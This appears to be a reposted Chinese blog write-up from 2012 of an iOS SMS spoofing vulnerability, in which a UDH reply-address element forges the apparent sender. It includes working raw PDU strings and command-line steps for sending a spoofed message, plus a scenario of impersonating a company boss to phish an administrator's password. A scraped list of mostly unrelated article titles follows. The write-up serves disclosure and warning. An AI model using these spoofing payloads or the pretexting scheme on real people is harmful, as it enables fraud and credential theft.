警告:禁止利用文中提到的内容、原理发布任何漏洞利用工具,后果自负。

(国内骗子都那么多了,大家都积点德吧)

漏洞简介

4天前Pod2g发文Never trust SMS: iOS text spoofin

http://pod2g-ios.blogspot.com/2012/08/never-trust-sms-ios-text-spoofing.html

该漏洞能影响所有iOS 版本包括最新的iOS 6 beta 4。

并发布利用程序:https://github.com/pod2g/sendrawpdu/,但这个并不是可利用的工具,只是一个使用命令行模式下PDU模式发送SMS的工具,其中的欺骗代码没有给出。而且此类工具很多,并且这个程序也只是由sendmodem http://code.google.com/p/iphone-elite/修改而来。

漏洞描述

发送短信常用两种模式Text(文本)和PDU(Protocol Data Unit,协议数据单元)模式,此漏洞通过PDU模式发送SMS,并在UDH (User Data Header)中插入自定义回复地址的号码。这样构造出来的SMS后发给iPhone用户,在iPhone短信应用里收到的SMS ,来源就是自定义过的“回复地址”号码,并且当iPhone用户回复的时候,也会直接回复到这个自定义的号码而不会给真实的发送者回复。

漏洞影响

在国内的话,会被各种垃圾短信、诈骗团伙等利用,还有更邪恶的社会工程学。

案例1:伪造一个目标用户的朋友号码,发一些绝交的内容。

案例2:给某个公司的网站管理员发送获取密码的短信,并伪装成该公司领导手机号,短信中明确指出在外边不方便,要将密码发送到xxxx@xxx.com ,勿回短信。

漏洞防御

苹果目前没有修补该漏洞,以后会不会,我觉得会根据漏洞利用的广泛程度。有人说开启iMessage可以防御?但测试依然可以利用漏洞。个人用户如何御?我遵循五不原则:不听、不看、不信、不转帐、不汇款(没错就是银行ATM机边上天天播放的那段…..),有条件的同学可以暂时换个手机,目前安卓、Nokia等系列非iOS系统并没有发现该问题,如果有人测试安卓或其他系统存在该问题请给出手机型号、系统版本,方便预警。

漏洞利用过程

繁琐的AT操作SIM命令和PDU的内容不说了,相关文章也很多。如 http://hi.baidu.com/shadowex/item/629b32549c2696beacc857c1

翻阅3GPP标准中SMS部分http://www.3gpp.org/ftp/Specs/html-info/23040.htm随便找个09年或者最新的都可以。

其中有一段提到回复地址会被滥用

NOTE:      Despite the fact that MMI aspects of the ME are out of the scope of the present document, it must be mentioned that this mechanism might open the door to potential abuse. It is desirable that the user is made aware in some way that the reply address of the incoming message is different from the originator’s one, and that the user is presented with the original TP-OA address to identify the sender of the SM .

UDH各位置标识,其中22就是利用关键的地方。

当知道了原理之后,我们就可以利用Baseband命令直接操作SIM ,以PDU模式发送SMS.如果手头没有其他工具就先编译sendrawpdu,我的XCODE版本有问题,无法编译,直接将main.c扔到iPhone里编译(之前已存在编译环境gcc、头文件等),代码需要小改动。

代码编译完后

gcc -o raw main.c

运行如下

root# ./raw

usage: ./raw <pdu data>

直接把生成的PDU传入程序。PDU的Encode和Decode网上代码、程序都很多。如 http://rednaxela.net/pdu.php

root#./raw 0001000791680180F60004027965

等待一会过程比较慢长。(该段PDU的含义是给10086发送内容为ye的短信,正常短信)

发送成功后,测试插入UDH,刚开始研究对UDH还不太熟悉,搜了下现成的工具目前只有那么一款支持插入UDH(google能搜到这里不提了),生成PDU时加上UDH自定义的回复地址,再次测试

root#./raw 0041000B813108108300F0000807004F60597D554A

(这条PDU含义为给13800138000发送”你好啊”,正常短信)

root#./raw 0041000B813108108300F000080E07220505800110F04F60597D554A

(这条PDU含义为给13800138000发送”你好啊”,并且UDH的回复地址修改成10010)

这样13800138000的iPhone用户,就会收到一条10010发来的”你好啊”短信。

UDH各标识的具体值为:

USER DATA LENGTH : 14 octets, 7 UCS2 chars

UDH LENGTH : 7 octets
UDH : 22 05 05 80 01 10 F0
UDH ELEMENTS : 22 - Reply Address Element
5 (0×05) Bytes Information Element
Answer to 10010
USER DATA (TEXT) : <CJK Unified Ideographs>
你好啊
4F 60 59 7D 55 4A

以下是我给自己发的测试。

这里的10086就是UDH中的回复地址,被iPhone识别成发信者了。

相关漏洞

2008年的时候ITSX的研究员就发现过,因PDU畸形数据而导致的dos问题,使用者接收到畸形数据的SMS就会导致系统崩溃。当时影响诺基亚3310、3330、6210系列手机。

转载于:https://www.cnblogs.com/invade/archive/2012/08/25/2655756.html

iPhone 短信欺骗漏洞披露,伪造短信号码、自定义短信手机号相关推荐

  1. Sendrawpdu—Iphone短信欺骗工具发布下载

    日前法国越狱开发者和知名黑客 pod2g 发现在每一个版本的 iPhone 固件中(甚至包括 iOS 6 beta 4)都存在一个短信漏洞.在短信中有一部分被称作 UDH(User Data Head ...

  2. iphone查看删除的短信_想要恢复已经删除的的短信怎么办?

    阅读本文前,请您先点击上面的蓝色字体,再点击"关注",这样您就可以继续免费收到文章了.每天都有分享,完全是免费订阅,请放心关注. 手机短信删除了怎么办?删除的短信如何恢复?这已经不 ...

  3. iphone双卡_单卡 iPhone 变双卡,3分钟搞定安卓备用机短信——IFTTT妙用

    〇.前言 虽然双卡手机在天朝早已遍地开花,甚至 iPhone 都在 2018 年支持了双卡,我使用的依然是单卡手机,而且是两部.它们虽然都是好几年前的手机了,但依然「够用」,所以我一直无缘新的双卡手机 ...

  4. 【网络安全】——逻辑漏洞之短信轰炸漏洞

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...

  5. 网站安全检测 针对于手机短信轰炸漏洞的检测与修复办法

    很多公司网站的被攻击,被篡改,都是存在着网站漏洞隐患的,也有很多客户找到我们SINE安全公司,对自己公司网站进行渗透测试服务,以及网站的安全检测,漏洞检测整体的安全服务,我们SINE安全在日常对客户网 ...

  6. iphone同步android短信恢复,用什么软件可以将安卓的短信恢复到苹果中

    安卓手机上,用软件把手机中的短信导出备份,注意备份的文件格式后缀必须是.csv的. 如果不知道用什么软件,这里推荐一个名字就叫"短信备份",可以在安卓市场里搜到,(我试用过很多个, ...

  7. android接听ios电话,教程】教你用电脑连接 iPhone 、 Android ,在电脑上接打电话、收发短信。...

    原标题:教程]教你用电脑连接 iPhone . Android ,在电脑上接打电话.收发短信. 你有「手机依赖症」吗?相信大家对自己的手机都是机不离手,眼不离机吧~那么在办公或者学习的时间里,怎么不接 ...

  8. iPhone向多个号码发送短信的代码

    如果您想在 iPhone 应用里插入短信发送功能,可以用以下代码向多个号码发送短信,将"XXXXXXXXXXX"替换成手机号即可 [[UIApplication sharedApp ...

  9. java防止注册刷短信攻击_java面试(1)如何防止恶意攻击短信验证码接口

    防止恶意攻击短信验证码接口方法 1.手机号码限制:限制单个手机号码每天的最大发送次数.超过次数不能发送短信,可以考虑将手机号码加入黑名单,禁止1天. 2.短信发送时间间隔限制:限制同一个手机号码重复发 ...

最新文章

  1. ubuntu12.04下NFS链接开发板并测试交叉编译的第一个应用
  2. 爬虫python漏洞群_如何用爬虫获取cnvd漏洞库?
  3. CodeForces - 1036B Diagonal Walking v.2(思维)
  4. 李松南:智能全真时代的多媒体技术——关于8K、沉浸式和人工智能的思考
  5. FullCalendar插件月视图正常显示周视图不正常显示问题解决方法
  6. ejb模式_EJB的完整形式是什么?
  7. redis设置为null问题
  8. svn 修改文件的可执行权限
  9. 苹果sf字体_苹果UI设计的改变意味着什么?
  10. matlab m语言电路仿真,基于Matlab的TFT-LCD解码电路的仿真设计(含程序)
  11. 如何使用Ghost备份与还原操作系统
  12. 书籍新增类别下拉框上下架
  13. 为免费吃饭 黑客入侵餐馆管理系统改数据
  14. python列表解析的底层详解
  15. java是面向过程的编程语言_1. 下列关于JAVA语言特点的叙述中,错误的是[   ] A、Java是面向过程的编程语言...
  16. 拇指锁屏APP--新型手机赚钱秒到账到底靠谱不靠谱?
  17. java实验5_java实验5
  18. 机器学习实战---读书笔记: 第11章 使用Apriori算法进行关联分析---2---从频繁项集中挖掘关联规则
  19. 个人简历(java基础入门)
  20. java comm api_java基于RXTXcomm.jar的串口通信

热门文章

  1. 学画画要花多少钱_高中学美术要花多少钱 学美术的费用是多少
  2. 收好了,这些max工作效率的学习资源,赶紧用起来
  3. video.js 视频截图、录制、自定义全屏,hls、flv、mp4视频播放
  4. python培训学费多少钱-python培训学费多少钱
  5. Bisulfite Sequencing
  6. 关于麦克风的参数介绍 - 驻极体麦克风(ECM)和硅麦(MEMS)
  7. 解读 Centralized Feature Pyramid for Object Detection
  8. 自然语言处理自学笔记-02 Word2vec——基于神经网络学习单词表示
  9. 网络压线钳的实验报告_RJ45网线制作实验报告
  10. 10.17——10.24ACM笔记